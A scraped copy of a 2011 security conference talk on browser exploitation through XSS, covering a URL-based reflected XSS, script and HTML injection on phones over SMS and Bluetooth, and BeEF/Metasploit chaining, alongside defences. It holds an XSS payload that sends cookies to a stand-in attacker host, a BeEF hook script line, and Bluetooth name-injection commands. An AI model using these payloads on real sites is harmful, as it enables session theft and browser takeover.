SlideShare a Scribd company logo
www.taddong.com


             Browser Exploitation for
            Fun and Profit Revolutions
                               (…in less than 24 hours )
                                                     Raúl Siles
                                                     raul@taddong.com
                                                     March 4, 2011

Copyright © 2011 Taddong S.L. All rights reserved.
Outline

     •  On previous episodes… (3rd on the series)
     •  XSS state-of-the-art (≈ WCI)
     •  “New” kind of XSS:
             –  Global (or URL-based) non-persistent XSS
     •  Multi-technology WCI on mobile devices
     •  Browser exploitation through XSS
             –  BeEF + Metasploit + attacker’s imagination
     •  References

Copyright © 2011 Taddong S.L.                   www.taddong.com   2
On Previous Episodes…
     •  “Browser Exploitation for Fun & Profit”
             –  Target: Web browser (& its plug-ins)
             –  Web application pen-tester setup & Demos
             –  Samurai WTF & BeEF & Metasploit
         http://blog.taddong.com/2010/11/browser-exploitation-for-fun-profit.html
     •  “Browser Exploitation for Fun & Profit Reloaded”
             –  Top vuln applications 2010: Java & Adobe
             –  Updating to the Ruby-based BeEF version
             –  Web browsing best practices
         http://blog.taddong.com/2010/12/browser-exploitation-for-fun-profit.html

Copyright © 2011 Taddong S.L.                                www.taddong.com        3
XSS State-of-the-Art




Copyright © 2011 Taddong S.L.                          www.taddong.com   4
Can My Browser Be Attacked?

     •  You only need to visit
        a single malicious web
        page… and be
        vulnerable to a single
        flaw… on your web
        browser or any of the
        installed plug-ins or
        add-ons… and …                                           Trusted websites
                                                                   attacking you
     •  Drive-by-XSS
                                Lots of attack vectors… such as XSS
Copyright © 2011 Taddong S.L.                                  www.taddong.com   5
Cross-Site Scripting (XSS)



     •  XSS (JavaScript)
             –  Why not “web content injection” (WCI)?
             –  Others: HTML, images, Java, Flash, ActiveX…
     •  XSS types
             –  Non-persistent & Persistent & …
     •  Risk/Impact perception: Low
             –  Industry & pen-tests
Copyright © 2011 Taddong S.L.                     www.taddong.com   6
Who is (not) vulnerable to XSS?




                                xssed.com
Copyright © 2011 Taddong S.L.               www.taddong.com   7
“New” kind of XSS:
   Global (or URL-based) Non-Persistent XSS




Copyright © 2011 Taddong S.L.                        www.taddong.com   8
Traditional XSS Protections

     •  Enforce input validation and output
        encoding
             –  GET & POST parameters
             –  HTTP headers
         GET /portal?lang=es&q=rootedcon&year=2011 HTTP/1.1
         Host: www.example.com
         User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1;
           en-US; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14
         Accept: text/html,application/xhtml+xml,application/
           xml;q=0.9,*/*;q=0.8
         Accept-Encoding: gzip,deflate
         Referer: http://www.example.com/main
         ...


Copyright © 2011 Taddong S.L.                      www.taddong.com   9
Target Web Application

     •  Initially discovered during a real web
        application pen-test in Spain
     •  Multi-language support web-app
             –  Top HTML header includes links to the other
                languages (on every web page): URL
                 https://www.example.com/portal/ […params]
         <UL class=cabecera_idiomas>
         <LI><a href="https://www.example.com/portal/?lang=es">
           Bienvenidos</a></LI>
         <LI><a href="https://www.example.com/portal/?lang=en">
           Welcome</a></LI>
         ...</UL>

Copyright © 2011 Taddong S.L.                        www.taddong.com   10
Global (or URL-based) non-
                          persistent XSS (1)
     •  HTML or script injection after the “?”
        without parameters
         https://www.example.com/portal/?"><script>
         document.location='https://www.attacker.com/triqui.php?
         c='+document.cookie</script>


     •  The script is reflected N-times on the web
        page received as the response
             –  One per language (by default)
     •  Similar scenario before the “?” (URL) or
        between parameters
Copyright © 2011 Taddong S.L.                      www.taddong.com   11
Global (or URL-based) non-
                          persistent XSS (2)
     •  Global: All web application resources
        (URLs) are vulnerable to XSS
             –  Not a specific HTTP parameter
             –  Better for:
                 •  Obfuscation (long URLs)
                 •  Social engineering
                 •  More damaging attacks (e.g. web login page)
     •  Defenses: input validation and output
        encoding on everything (including the URL)
Copyright © 2011 Taddong S.L.                   www.taddong.com   12
Multi-technology WCI (≈XSS) on
                       Mobile Devices




Copyright © 2011 Taddong S.L.          www.taddong.com   13
XSS Everywhere


     •  XSS: the input is reflected on the output
             –  Immediately or “somewhere in time”
     •  Any input is a potential vulnerable
        candidate, as well as any output
     •  Web content injection (≈XSS) through
        multiple technologies on mobile devices
             –  SMS and Bluetooth

                    What about… Wi-Fi, 2G/3G, etc? (network name)
Copyright © 2011 Taddong S.L.                         www.taddong.com   14
SMS


     •  Initially discovered on Palm WebOS
             –  Open web sites, download files, install new
                root CA certs, turn off radio, or wipe device
     •  Extended to Windows Mobile & HTC
             –  Web-based SMS preview capabilities on HTC
                Windows Mobile smart-phones (scripting)
                    •  http://www.securityfocus.com/archive/1/510897/30/
     •  Defenses: Disable preview or update
                                http://intrepidusgroup.com/insight/webos/
Copyright © 2011 Taddong S.L.                                    www.taddong.com   15
SMS on Windows Mobile 6.5
From: 666123666
To: 6001234567

Mensaje (SMS):

<script>alert
('Ejecucion de
Javascript')</
script>




Copyright © 2011 Taddong S.L.            www.taddong.com   16
Bluetooth


     •  Discovered on Windows Mobile 6.1
             –  Native web-based GUI notification subsystem
     •  Bluetooth pairing and profile access
             –  Bluetooth authorization message (<=32 chars)
             –  Only HTML (no scripting): Blueline attacks
     •  Defenses: Customized notification
        subsystem (vendor based)
                                http://www.hackingexposedwireless.com
Copyright © 2011 Taddong S.L.                                 www.taddong.com   17
Bluetooth on Windows Mobile 6.1



   # hciconfig hci0 name "<b>Ordenador</b> no peligro<i>so</i>"

   # hciconfig hci0 name "Mantener Bluetooth activo?<br><p"




Copyright © 2011 Taddong S.L.                   www.taddong.com   18
Root Cause of the Problem

     •  Web contents everywhere (or converted to)
     •  Information displayed (GUI) via a web-
        based engine (HTML, JavaScript & more)




                                Databases   Web-App


Copyright © 2011 Taddong S.L.                         www.taddong.com   19
Near Future Vulnerable Inputs

     •  Camera: Barcode or QR code reader, etc
     •  Microphone: HTML-based audio transcript




Copyright © 2011 Taddong S.L.             www.taddong.com   20
Browser Exploitation through
                          XSS




Copyright © 2011 Taddong S.L.         www.taddong.com   21
Demonstrating XSS


     •  Most common example: 
             –  Quick for XSS discovery but…

                            <script>alert(‘XSS’)</script>




             How to contribute to change this general perception?
Copyright © 2011 Taddong S.L.                        www.taddong.com   22
Live Demo




Copyright © 2011 Taddong S.L.               www.taddong.com   23
Exploiting Java
                                CVE-2010-0886
     •  All vulnerability details are on previous episodes
             –  Java 6 Update (10 =< x <= 19)
     •  “Do you know Rubén Santamarta?” 
     •  Exploit requirements:
             –  Metasploit running as root (sudo)
             –  SMB not running on pen-tester system
             –  WebClient (WebDAV Mini-Redirector) running on
                target (by default)
             –  WEBDAV requires SRVPORT=80 and URIPATH=/
                (BeEF is running there!! Use != IP addresses)
                exploit/windows/browser/java_ws_arginject_altjvm
Copyright © 2011 Taddong S.L.                         www.taddong.com   24
BeEF Exploitation


     •  This is the only script the attacker needs to
        inject in the target web application: (PHP)
     <script src="http://www.attacker.com/
     beef/hook/beefmagic.js"></script>

     •  Metasploit integration
     •  Persistent hooking (100% iframe)
             –  URL limitation (& favicon) – Yori Kvitchko
             –  Not in some mobile devices…
Copyright © 2011 Taddong S.L.                       www.taddong.com   25
Persistent Hooking in Mobile
                     Devices through URL hiding
     •  URL hiding or addr.
        bar replacement
     •  UI spoofing Safari on
        the iPhone
             –  JavaScript pushes
                real address bar up
     •  Android too
           http://evil-lemur.com/mobile/
              http://software-security.sans.org/blog/2010/11/29/ui-
                              spoofing-safari-iphone
Copyright © 2011 Taddong S.L.                          www.taddong.com   26
References

     •  Presentations in the Browser Exploitation for Fun
        & Profit Series: http://blog.taddong.com
     •  Samurai WTF (Web Testing Framework):
             –  http://sourceforge.net/projects/samurai/
     •  BeEF
             –  http://www.bindshell.net/tools/beef/
             –  https://code.google.com/p/beef/
     •  MetaSploit Framework (MSF): (autopwn)
             –  http://www.metasploit.com
             –  http://www.metasploit.com/framework/modules/

Copyright © 2011 Taddong S.L.                              www.taddong.com   27
Questions? 




Copyright © 2011 Taddong S.L.                  www.taddong.com   28
www.taddong.com




Blog: blog.taddong.com
  Twitter: @taddong

  raul@taddong.com

More Related Content

ODP
Joxean Koret - Database Security Paradise [Rooted CON 2011]
RootedCON
 
PDF
Wtf is happening_inside_my_android_phone_public
Jaime Blasco
 
PDF
Breaking Vaults - Stealing Lastpass Protected Secrets by Martin Vigo
Shakacon
 
PDF
Threat stack aws
Jen Andre
 
PDF
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
Shakacon
 
PDF
Sheila Ayelen Berta - The Art of Persistence: "Mr. Windows… I don’t wanna go ...
RootedCON
 
PDF
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)
Rob Fuller
 
PPTX
Passwords#14 - mimikatz
Benjamin Delpy
 
Joxean Koret - Database Security Paradise [Rooted CON 2011]
RootedCON
 
Wtf is happening_inside_my_android_phone_public
Jaime Blasco
 
Breaking Vaults - Stealing Lastpass Protected Secrets by Martin Vigo
Shakacon
 
Threat stack aws
Jen Andre
 
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
Shakacon
 
Sheila Ayelen Berta - The Art of Persistence: "Mr. Windows… I don’t wanna go ...
RootedCON
 
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)
Rob Fuller
 
Passwords#14 - mimikatz
Benjamin Delpy
 

What's hot (20)

PPTX
How to hide your browser 0-day @ Disobey
Zoltan Balazs
 
PDF
Francisco Jesús Gómez + Carlos Juan Diaz - Cloud Malware Distribution: DNS wi...
RootedCON
 
PDF
Automated Malware Analysis and Cyber Security Intelligence
Jason Choi
 
PDF
Codetainer: a Docker-based browser code 'sandbox'
Jen Andre
 
PDF
"A rootkits writer’s guide to defense" - Michal Purzynski
PROIDEA
 
PDF
Think Like a Hacker - Database Attack Vectors
Mark Ginnebaugh
 
PDF
44CON 2014 - Breaking AV Software
44CON
 
PDF
"Revenge of The Script Kiddies: Current Day Uses of Automated Scripts by Top ...
PROIDEA
 
PDF
Defcon 22-colby-moore-patrick-wardle-synack-drop cam
Priyanka Aash
 
PPTX
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valero
RootedCON
 
PDF
Richard wartell malware is hard. let's go shopping!!
Shakacon
 
PPTX
Indicators of compromise: From malware analysis to eradication
Michael Boman
 
PDF
"Powershell kung-fu" - Paweł Maziarz
PROIDEA
 
PPTX
How to drive a malware analyst crazy
Michael Boman
 
PDF
Nikto
Sorina Chirilă
 
PDF
Socially Acceptable Methods to Walk in the Front Door
Mike Felch
 
PDF
The day I ruled the world (RootedCON 2020)
Javier Junquera
 
PPTX
Abusing Microsoft Kerberos - Sorry you guys don't get it
Benjamin Delpy
 
PDF
Why isn't infosec working? Did you turn it off and back on again?
Rob Fuller
 
PDF
Масштабируемый и эффективный фаззинг Google Chrome
Positive Hack Days
 
How to hide your browser 0-day @ Disobey
Zoltan Balazs
 
Francisco Jesús Gómez + Carlos Juan Diaz - Cloud Malware Distribution: DNS wi...
RootedCON
 
Automated Malware Analysis and Cyber Security Intelligence
Jason Choi
 
Codetainer: a Docker-based browser code 'sandbox'
Jen Andre
 
"A rootkits writer’s guide to defense" - Michal Purzynski
PROIDEA
 
Think Like a Hacker - Database Attack Vectors
Mark Ginnebaugh
 
44CON 2014 - Breaking AV Software
44CON
 
"Revenge of The Script Kiddies: Current Day Uses of Automated Scripts by Top ...
PROIDEA
 
Defcon 22-colby-moore-patrick-wardle-synack-drop cam
Priyanka Aash
 
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valero
RootedCON
 
Richard wartell malware is hard. let's go shopping!!
Shakacon
 
Indicators of compromise: From malware analysis to eradication
Michael Boman
 
"Powershell kung-fu" - Paweł Maziarz
PROIDEA
 
How to drive a malware analyst crazy
Michael Boman
 
Socially Acceptable Methods to Walk in the Front Door
Mike Felch
 
The day I ruled the world (RootedCON 2020)
Javier Junquera
 
Abusing Microsoft Kerberos - Sorry you guys don't get it
Benjamin Delpy
 
Why isn't infosec working? Did you turn it off and back on again?
Rob Fuller
 
Масштабируемый и эффективный фаззинг Google Chrome
Positive Hack Days
 
Ad

Viewers also liked (20)

PDF
David Pérez + José Picó - Un ataque práctico contra comunicaciones móviles [R...
RootedCON
 
PPTX
Gianluca D'Antonio - La Gestión de la Seguridad de la Información ante las nu...
RootedCON
 
PDF
Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]
RootedCON
 
PPS
Marisol Salanova - Seguridad informática y cibersexo [RootedCON 2011]
RootedCON
 
PDF
Antonio Ramos - La asimetría en el mercado de la seguridad [RootedCON 2011]
RootedCON
 
PDF
{RootedPanel] Grupo de Hackers Históricos: Apòstols [RootedCON 2010]
RootedCON
 
PPTX
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
RootedCON
 
ODP
Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...
RootedCON
 
PPTX
Alejandro Martín + Chema Alonso - Pulveriza tus publicaciones con Dust [Roote...
RootedCON
 
PDF
José Ramón Palanco - NoSQL Security [RootedCON 2011]
RootedCON
 
PDF
Rubén Santamarta - SCADA Trojans: Attacking the Grid [Rooted CON 2011]
RootedCON
 
PDF
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]
RootedCON
 
PPTX
Blueliv - Information Tracking with Optos [Rooted CON 2011]
RootedCON
 
PDF
David López Paz - Global Warfare [RootedCON 2011]
RootedCON
 
PPTX
Vins Villaplana - Seguridad en capa de enlace [RootedCON 2011]
RootedCON
 
PDF
Sergi Álvarez + Roi Martín - radare2: From forensics to bindiffing [RootedCON...
RootedCON
 
PDF
José Miguel Esparza - Obfuscation and (non-)detection of malicious PDF files ...
RootedCON
 
PDF
Jaime Blasco & Pablo Rincón - Lost in translation: WTF is happening inside m...
RootedCON
 
PDF
Hernan Ochoa - WCE Internals [RootedCON 2011]
RootedCON
 
PPTX
Eloi Sanfelix - Hardware security: Side Channel Attacks [RootedCON 2011]
RootedCON
 
David Pérez + José Picó - Un ataque práctico contra comunicaciones móviles [R...
RootedCON
 
Gianluca D'Antonio - La Gestión de la Seguridad de la Información ante las nu...
RootedCON
 
Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]
RootedCON
 
Marisol Salanova - Seguridad informática y cibersexo [RootedCON 2011]
RootedCON
 
Antonio Ramos - La asimetría en el mercado de la seguridad [RootedCON 2011]
RootedCON
 
{RootedPanel] Grupo de Hackers Históricos: Apòstols [RootedCON 2010]
RootedCON
 
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
RootedCON
 
Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...
RootedCON
 
Alejandro Martín + Chema Alonso - Pulveriza tus publicaciones con Dust [Roote...
RootedCON
 
José Ramón Palanco - NoSQL Security [RootedCON 2011]
RootedCON
 
Rubén Santamarta - SCADA Trojans: Attacking the Grid [Rooted CON 2011]
RootedCON
 
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]
RootedCON
 
Blueliv - Information Tracking with Optos [Rooted CON 2011]
RootedCON
 
David López Paz - Global Warfare [RootedCON 2011]
RootedCON
 
Vins Villaplana - Seguridad en capa de enlace [RootedCON 2011]
RootedCON
 
Sergi Álvarez + Roi Martín - radare2: From forensics to bindiffing [RootedCON...
RootedCON
 
José Miguel Esparza - Obfuscation and (non-)detection of malicious PDF files ...
RootedCON
 
Jaime Blasco & Pablo Rincón - Lost in translation: WTF is happening inside m...
RootedCON
 
Hernan Ochoa - WCE Internals [RootedCON 2011]
RootedCON
 
Eloi Sanfelix - Hardware security: Side Channel Attacks [RootedCON 2011]
RootedCON
 
Ad

Similar to Raúl Siles - Browser Exploitation for Fun and Profit Revolutions [RootedCON 2011] (20)

PDF
Webapplicationsecurity05 2010 100601100553 Phpapp02
Rafel Ivgi
 
PPTX
SecTor '09 - When Web 2.0 Attacks!
Rafal Los
 
PDF
BeEF: The Browser Exploitation Framework
awiasecretary
 
PPT
Not only a XSS
Conferencias FIST
 
PDF
Securing your web application through HTTP headers
Andre N. Klingsheim
 
PDF
Lord of the Bing - Black Hat USA 2010
Rob Ragan
 
PPTX
Convincing Developers to take Cross-Site Scripting Seriously
jpubal
 
PDF
Rich Web App Security - Keeping your application safe
Jeremiah Grossman
 
PDF
Top Ten Web Hacking Techniques (2010)
Jeremiah Grossman
 
PPTX
Web Application Social Engineering Vulnerabilities
mvcooley
 
PDF
Web Security - Introduction v.1.3
Oles Seheda
 
PDF
Web Security - Introduction
SQALab
 
PPTX
Website hacking and prevention (All Tools,Topics & Technique )
Jay Nagar
 
PDF
Protecting Java EE Web Apps with Secure HTTP Headers
Frank Kim
 
DOCX
Topic14 essay
lsgi4321
 
PPTX
Cross Site Scripting
Ali Mattash
 
PDF
Defcon 20-zulla-improving-web-vulnerability-scanning
zulla
 
PDF
Defcon 20-zulla-improving-web-vulnerability-scanning
zulla
 
PPT
Ch10 Hacking Web Servers http://ouo.io/2Bt7X
phanleson
 
PPTX
Html5 security
Krishna T
 
Webapplicationsecurity05 2010 100601100553 Phpapp02
Rafel Ivgi
 
SecTor '09 - When Web 2.0 Attacks!
Rafal Los
 
BeEF: The Browser Exploitation Framework
awiasecretary
 
Not only a XSS
Conferencias FIST
 
Securing your web application through HTTP headers
Andre N. Klingsheim
 
Lord of the Bing - Black Hat USA 2010
Rob Ragan
 
Convincing Developers to take Cross-Site Scripting Seriously
jpubal
 
Rich Web App Security - Keeping your application safe
Jeremiah Grossman
 
Top Ten Web Hacking Techniques (2010)
Jeremiah Grossman
 
Web Application Social Engineering Vulnerabilities
mvcooley
 
Web Security - Introduction v.1.3
Oles Seheda
 
Web Security - Introduction
SQALab
 
Website hacking and prevention (All Tools,Topics & Technique )
Jay Nagar
 
Protecting Java EE Web Apps with Secure HTTP Headers
Frank Kim
 
Topic14 essay
lsgi4321
 
Cross Site Scripting
Ali Mattash
 
Defcon 20-zulla-improving-web-vulnerability-scanning
zulla
 
Defcon 20-zulla-improving-web-vulnerability-scanning
zulla
 
Ch10 Hacking Web Servers http://ouo.io/2Bt7X
phanleson
 
Html5 security
Krishna T
 

More from RootedCON (20)

PDF
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
RootedCON
 
PDF
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
RootedCON
 
PDF
Rooted2020 hunting malware-using_process_behavior-roberto_amado
RootedCON
 
PPSX
Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_
RootedCON
 
PDF
Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...
RootedCON
 
PPTX
Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...
RootedCON
 
PPTX
Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca...
RootedCON
 
PPTX
Rooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguer
RootedCON
 
PDF
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
RootedCON
 
PDF
Rooted2020 stefano maccaglia--_the_enemy_of_my_enemy
RootedCON
 
PPTX
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
RootedCON
 
PPTX
Rooted2020 virtual pwned-network_-_manel_molina
RootedCON
 
PDF
Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an...
RootedCON
 
PDF
Rooted2020 todo a-siem_-_marta_lopez
RootedCON
 
PDF
Rooted2020 live coding--_jesus_jara
RootedCON
 
PDF
Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un...
RootedCON
 
PDF
Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-...
RootedCON
 
PDF
Rooted2020 evading deep-learning_malware_detectors_-_javier_yuste
RootedCON
 
PDF
Rooted2020 encontrando 0days-en_2020_-_antonio_morales
RootedCON
 
PPTX
Rooted2020 emotet is-dead_long_live_emotet_-_victor_acin
RootedCON
 
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
RootedCON
 
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
RootedCON
 
Rooted2020 hunting malware-using_process_behavior-roberto_amado
RootedCON
 
Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_
RootedCON
 
Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...
RootedCON
 
Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...
RootedCON
 
Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca...
RootedCON
 
Rooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguer
RootedCON
 
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
RootedCON
 
Rooted2020 stefano maccaglia--_the_enemy_of_my_enemy
RootedCON
 
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
RootedCON
 
Rooted2020 virtual pwned-network_-_manel_molina
RootedCON
 
Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an...
RootedCON
 
Rooted2020 todo a-siem_-_marta_lopez
RootedCON
 
Rooted2020 live coding--_jesus_jara
RootedCON
 
Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un...
RootedCON
 
Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-...
RootedCON
 
Rooted2020 evading deep-learning_malware_detectors_-_javier_yuste
RootedCON
 
Rooted2020 encontrando 0days-en_2020_-_antonio_morales
RootedCON
 
Rooted2020 emotet is-dead_long_live_emotet_-_victor_acin
RootedCON
 

Recently uploaded (20)

PPTX
IT Runs Better with ThousandEyes AI-driven Assurance
ThousandEyes
 
PDF
The Future of Mobile Is Context-Aware—Are You Ready?
iProgrammer Solutions Private Limited
 
PPTX
Applied-Statistics-Mastering-Data-Driven-Decisions.pptx
parmaryashparmaryash
 
PDF
MASTERDECK GRAPHSUMMIT SYDNEY (Public).pdf
Neo4j
 
PDF
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 
PDF
Event Presentation Google Cloud Next Extended 2025
minhtrietgect
 
PPTX
Dev Dives: Automate, test, and deploy in one place—with Unified Developer Exp...
AndreeaTom
 
PDF
Software Development Methodologies in 2025
KodekX
 
PDF
Get More from Fiori Automation - What’s New, What Works, and What’s Next.pdf
Precisely
 
PDF
How-Cloud-Computing-Impacts-Businesses-in-2025-and-Beyond.pdf
Artjoker Software Development Company
 
PDF
NewMind AI Weekly Chronicles - July'25 - Week IV
NewMind AI
 
PPTX
New ThousandEyes Product Innovations: Cisco Live June 2025
ThousandEyes
 
PDF
The Evolution of KM Roles (Presented at Knowledge Summit Dublin 2025)
Enterprise Knowledge
 
PDF
AI Unleashed - Shaping the Future -Starting Today - AIOUG Yatra 2025 - For Co...
Sandesh Rao
 
PDF
Using Anchore and DefectDojo to Stand Up Your DevSecOps Function
Anchore
 
PDF
SparkLabs Primer on Artificial Intelligence 2025
SparkLabs Group
 
PDF
The Future of Artificial Intelligence (AI)
Mukul
 
PDF
Research-Fundamentals-and-Topic-Development.pdf
ayesha butalia
 
PPTX
What-is-the-World-Wide-Web -- Introduction
tonifi9488
 
PDF
AI-Cloud-Business-Management-Platforms-The-Key-to-Efficiency-Growth.pdf
Artjoker Software Development Company
 
IT Runs Better with ThousandEyes AI-driven Assurance
ThousandEyes
 
The Future of Mobile Is Context-Aware—Are You Ready?
iProgrammer Solutions Private Limited
 
Applied-Statistics-Mastering-Data-Driven-Decisions.pptx
parmaryashparmaryash
 
MASTERDECK GRAPHSUMMIT SYDNEY (Public).pdf
Neo4j
 
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 
Event Presentation Google Cloud Next Extended 2025
minhtrietgect
 
Dev Dives: Automate, test, and deploy in one place—with Unified Developer Exp...
AndreeaTom
 
Software Development Methodologies in 2025
KodekX
 
Get More from Fiori Automation - What’s New, What Works, and What’s Next.pdf
Precisely
 
How-Cloud-Computing-Impacts-Businesses-in-2025-and-Beyond.pdf
Artjoker Software Development Company
 
NewMind AI Weekly Chronicles - July'25 - Week IV
NewMind AI
 
New ThousandEyes Product Innovations: Cisco Live June 2025
ThousandEyes
 
The Evolution of KM Roles (Presented at Knowledge Summit Dublin 2025)
Enterprise Knowledge
 
AI Unleashed - Shaping the Future -Starting Today - AIOUG Yatra 2025 - For Co...
Sandesh Rao
 
Using Anchore and DefectDojo to Stand Up Your DevSecOps Function
Anchore
 
SparkLabs Primer on Artificial Intelligence 2025
SparkLabs Group
 
The Future of Artificial Intelligence (AI)
Mukul
 
Research-Fundamentals-and-Topic-Development.pdf
ayesha butalia
 
What-is-the-World-Wide-Web -- Introduction
tonifi9488
 
AI-Cloud-Business-Management-Platforms-The-Key-to-Efficiency-Growth.pdf
Artjoker Software Development Company
 

Raúl Siles - Browser Exploitation for Fun and Profit Revolutions [RootedCON 2011]

  • 1. www.taddong.com Browser Exploitation for Fun and Profit Revolutions (…in less than 24 hours ) Raúl Siles [email protected] March 4, 2011 Copyright © 2011 Taddong S.L. All rights reserved.
  • 2. Outline •  On previous episodes… (3rd on the series) •  XSS state-of-the-art (≈ WCI) •  “New” kind of XSS: –  Global (or URL-based) non-persistent XSS •  Multi-technology WCI on mobile devices •  Browser exploitation through XSS –  BeEF + Metasploit + attacker’s imagination •  References Copyright © 2011 Taddong S.L. www.taddong.com 2
  • 3. On Previous Episodes… •  “Browser Exploitation for Fun & Profit” –  Target: Web browser (& its plug-ins) –  Web application pen-tester setup & Demos –  Samurai WTF & BeEF & Metasploit http://blog.taddong.com/2010/11/browser-exploitation-for-fun-profit.html •  “Browser Exploitation for Fun & Profit Reloaded” –  Top vuln applications 2010: Java & Adobe –  Updating to the Ruby-based BeEF version –  Web browsing best practices http://blog.taddong.com/2010/12/browser-exploitation-for-fun-profit.html Copyright © 2011 Taddong S.L. www.taddong.com 3
  • 4. XSS State-of-the-Art Copyright © 2011 Taddong S.L. www.taddong.com 4
  • 5. Can My Browser Be Attacked? •  You only need to visit a single malicious web page… and be vulnerable to a single flaw… on your web browser or any of the installed plug-ins or add-ons… and … Trusted websites attacking you •  Drive-by-XSS Lots of attack vectors… such as XSS Copyright © 2011 Taddong S.L. www.taddong.com 5
  • 6. Cross-Site Scripting (XSS) •  XSS (JavaScript) –  Why not “web content injection” (WCI)? –  Others: HTML, images, Java, Flash, ActiveX… •  XSS types –  Non-persistent & Persistent & … •  Risk/Impact perception: Low –  Industry & pen-tests Copyright © 2011 Taddong S.L. www.taddong.com 6
  • 7. Who is (not) vulnerable to XSS? xssed.com Copyright © 2011 Taddong S.L. www.taddong.com 7
  • 8. “New” kind of XSS: Global (or URL-based) Non-Persistent XSS Copyright © 2011 Taddong S.L. www.taddong.com 8
  • 9. Traditional XSS Protections •  Enforce input validation and output encoding –  GET & POST parameters –  HTTP headers GET /portal?lang=es&q=rootedcon&year=2011 HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14 Accept: text/html,application/xhtml+xml,application/ xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate Referer: http://www.example.com/main ... Copyright © 2011 Taddong S.L. www.taddong.com 9
  • 10. Target Web Application •  Initially discovered during a real web application pen-test in Spain •  Multi-language support web-app –  Top HTML header includes links to the other languages (on every web page): URL https://www.example.com/portal/ […params] <UL class=cabecera_idiomas> <LI><a href="https://www.example.com/portal/?lang=es"> Bienvenidos</a></LI> <LI><a href="https://www.example.com/portal/?lang=en"> Welcome</a></LI> ...</UL> Copyright © 2011 Taddong S.L. www.taddong.com 10
  • 11. Global (or URL-based) non- persistent XSS (1) •  HTML or script injection after the “?” without parameters https://www.example.com/portal/?"><script> document.location='https://www.attacker.com/triqui.php? c='+document.cookie</script> •  The script is reflected N-times on the web page received as the response –  One per language (by default) •  Similar scenario before the “?” (URL) or between parameters Copyright © 2011 Taddong S.L. www.taddong.com 11
